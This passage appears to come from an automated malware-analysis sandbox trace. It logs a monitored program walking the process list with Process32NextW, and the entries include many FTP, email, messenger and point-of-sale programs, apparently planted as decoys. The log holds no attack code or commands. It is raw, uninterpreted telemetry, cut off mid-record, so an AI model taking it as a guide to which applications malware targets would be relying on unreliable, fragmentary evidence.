th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0141.642] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5e, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.643] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.643] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.644] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.644] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.645] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.645] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.646] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.646] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.647] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.647] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0141.648] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.648] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0141.649] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0141.649] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.650] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0141.650] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0141.651] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0141.651] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0141.652] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0141.652] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0141.653] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0141.654] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0141.654] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0141.655] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0141.655] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending_windsor.exe")) returned 1 [0141.656] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="wishlist.exe")) returned 1 [0141.656] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="lincolnsap.exe")) returned 1 [0141.657] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="allergy.exe")) returned 1 [0141.657] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="panicburning.exe")) returned 1 [0141.658] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ci_competitive.exe")) returned 1 [0141.658] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="softball-do.exe")) returned 1 [0141.659] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="o huge.exe")) returned 1 [0141.659] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="clothes-lone-terrace.exe")) returned 1 [0141.660] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="consultancy statute.exe")) returned 1 [0141.660] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1 [0141.661] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="collectibles_register_voluntary.exe")) returned 1 [0141.661] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ringtones.exe")) returned 1 [0141.662] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="method.exe")) returned 1 [0141.662] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="conscious_information.exe")) returned 1 [0141.663] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bankruptcylaboratory.exe")) returned 1 [0141.663] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="j species.exe")) returned 1 [0141.664] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="uganda mom.exe")) returned 1 [0141.664] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0141.665] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0141.666] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0141.667] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0141.667] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0141.668] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0141.669] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0141.670] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0141.671] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0141.678] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0141.679] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0141.680] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0141.681] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0141.682] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0141.683] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0141.684] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0141.684] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0141.685] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0141.686] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0141.687] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0141.688] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0141.689] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0141.689] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0141.690] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0141.691] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0141.692] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0141.693] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0141.694] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0141.695] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0141.696] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0141.697] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0141.698] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0141.699] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0141.699] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0141.700] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0141.701] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0141.702] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0141.703] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0141.704] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0141.705] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0141.705] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: 